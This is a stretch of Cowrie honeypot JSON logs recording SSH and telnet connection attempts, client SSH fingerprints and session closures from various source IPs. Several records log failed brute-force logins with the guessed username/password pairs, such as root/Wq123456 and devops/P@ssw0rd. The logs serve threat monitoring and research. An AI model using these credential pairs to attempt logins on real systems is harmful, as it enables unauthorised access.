{"eventid":"cowrie.login.failed","username":"tmpuser","password":"tmpuser","message":"login attempt [tmpuser/tmpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:54.009634Z","src_ip":"60.199.224.2","session":"5dc4c45d253d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:55.221908Z","src_ip":"60.199.224.2","session":"5dc4c45d253d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36080,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c5fa909f0a5","protocol":"telnet","message":"New connection: 45.81.23.16:36080 (10.17.0.5:23) [session: 4c5fa909f0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:56.019868Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36096,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cca942d77b2","protocol":"telnet","message":"New connection: 45.81.23.16:36096 (10.17.0.5:23) [session: 4cca942d77b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:56.417346Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36090,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af28dc34e73","protocol":"telnet","message":"New connection: 45.81.23.16:36090 (10.17.0.5:23) [session: 6af28dc34e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:57.166107Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36108,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d5627c39846","protocol":"telnet","message":"New connection: 45.81.23.16:36108 (10.17.0.5:23) [session: 9d5627c39846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:57.392389Z"}
{"eventid":"cowrie.session.closed","duration":3.847100257873535,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:01.013091Z","src_ip":"45.81.23.16","session":"6af28dc34e73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.805506467819214,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:04.197763Z","src_ip":"45.81.23.16","session":"9d5627c39846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55692,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0ddfc833fbd","protocol":"telnet","message":"New connection: 38.54.119.93:55692 (10.17.0.5:23) [session: d0ddfc833fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:06.025610Z"}
{"eventid":"cowrie.session.closed","duration":6.199432373046875,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:12.224910Z","src_ip":"38.54.119.93","session":"d0ddfc833fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.226584911346436,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:14.389552Z","src_ip":"192.211.53.160","session":"dccd576a69de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":41568,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bc4f8d2a81f","protocol":"ssh","message":"New connection: 103.176.20.115:41568 (10.17.0.5:22) [session: 6bc4f8d2a81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:17.461547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:17.466830Z","src_ip":"103.176.20.115","session":"6bc4f8d2a81f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:17.714018Z","src_ip":"103.176.20.115","session":"6bc4f8d2a81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51786,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28965186b32","protocol":"telnet","message":"New connection: 65.60.27.33:51786 (10.17.0.5:23) [session: b28965186b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:18.265874Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wq123456","message":"login attempt [root/Wq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:18.733284Z","src_ip":"103.176.20.115","session":"6bc4f8d2a81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:19.983738Z","src_ip":"103.176.20.115","session":"6bc4f8d2a81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.162.117.154","src_port":60480,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ae2742f9120","protocol":"ssh","message":"New connection: 54.162.117.154:60480 (10.17.0.5:22) [session: 6ae2742f9120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:21.887030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:22.492274Z","src_ip":"54.162.117.154","session":"6ae2742f9120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:22.496341Z","src_ip":"54.162.117.154","session":"6ae2742f9120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.003398418426514,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:23.376952Z","src_ip":"65.60.27.33","session":"8bde424b3a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:24.037249Z","src_ip":"54.162.117.154","session":"6ae2742f9120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45332,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f7312d8338","protocol":"telnet","message":"New connection: 165.232.131.181:45332 (10.17.0.5:23) [session: e6f7312d8338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:27.346589Z"}
{"eventid":"cowrie.session.closed","duration":48.451919078826904,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:28.822737Z","src_ip":"38.54.119.93","session":"711597596344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00618958473206,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:33.493808Z","src_ip":"181.189.73.151","session":"f335d4ec7ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190615653992,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:34.194887Z","src_ip":"181.189.73.151","session":"cb43a91959ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62973,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dc9ddc742bc","protocol":"telnet","message":"New connection: 181.189.73.151:62973 (10.17.0.5:23) [session: 0dc9ddc742bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:34.854990Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":63014,"dst_ip":"10.17.0.5","dst_port":23,"session":"91791b6a195a","protocol":"telnet","message":"New connection: 181.189.73.151:63014 (10.17.0.5:23) [session: 91791b6a195a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:36.612587Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62890,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ae6a2902e3","protocol":"telnet","message":"New connection: 181.189.73.151:62890 (10.17.0.5:23) [session: 92ae6a2902e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:37.180786Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":42824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8875997e012","protocol":"ssh","message":"New connection: 152.32.162.42:42824 (10.17.0.5:22) [session: d8875997e012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:44.464330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:44.477164Z","src_ip":"152.32.162.42","session":"d8875997e012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:44.720819Z","src_ip":"152.32.162.42","session":"d8875997e012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"P@ssw0rd","message":"login attempt [devops/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:45.735628Z","src_ip":"152.32.162.42","session":"d8875997e012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53910,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a21179fd58","protocol":"telnet","message":"New connection: 38.54.119.93:53910 (10.17.0.5:23) [session: 32a21179fd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:45.992892Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42654,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5376d235195","protocol":"ssh","message":"New connection: 60.199.224.2:42654 (159.203.135.109:22) [session: b5376d235195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:46.367300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:46.372595Z","src_ip":"60.199.224.2","session":"b5376d235195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:46.575744Z","src_ip":"60.199.224.2","session":"b5376d235195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:46.981346Z","src_ip":"152.32.162.42","session":"d8875997e012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticuser","password":"elasticuser","message":"login attempt [elasticuser/elasticuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:47.418087Z","src_ip":"60.199.224.2","session":"b5376d235195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:48.624216Z","src_ip":"60.199.224.2","session":"b5376d235195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.08921551704407,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:49.506470Z","src_ip":"45.81.23.16","session":"4cca942d77b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.80880856513977,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:49.828561Z","src_ip":"45.81.23.16","session":"4c5fa909f0a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a238ffae66","protocol":"telnet","message":"New connection: 38.54.119.93:33812 (10.17.0.5:23) [session: a6a238ffae66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:04:58.826932Z"}
{"eventid":"cowrie.session.closed","duration":42.49360799789429,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:00.759355Z","src_ip":"65.60.27.33","session":"b28965186b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":50137,"dst_ip":"159.203.135.109","dst_port":22,"session":"1277e0ab85a6","protocol":"ssh","message":"New connection: 193.24.211.95:50137 (159.203.135.109:22) [session: 1277e0ab85a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:03.980500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:03.989045Z","src_ip":"193.24.211.95","session":"1277e0ab85a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:04.094424Z","src_ip":"193.24.211.95","session":"1277e0ab85a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julio","password":"jbdm1010","message":"login attempt [julio/jbdm1010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:04.519875Z","src_ip":"193.24.211.95","session":"1277e0ab85a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:05.637320Z","src_ip":"193.24.211.95","session":"1277e0ab85a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42430,"dst_ip":"10.17.0.5","dst_port":23,"session":"373a8e727c67","protocol":"telnet","message":"New connection: 38.54.119.93:42430 (10.17.0.5:23) [session: 373a8e727c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:12.554500Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":58432,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d8b8781818","protocol":"ssh","message":"New connection: 103.176.20.115:58432 (10.17.0.5:22) [session: 42d8b8781818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:16.871389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:05:16.888363Z","src_ip":"103.176.20.115","session":"42d8b8781818","protocol":"ssh"}
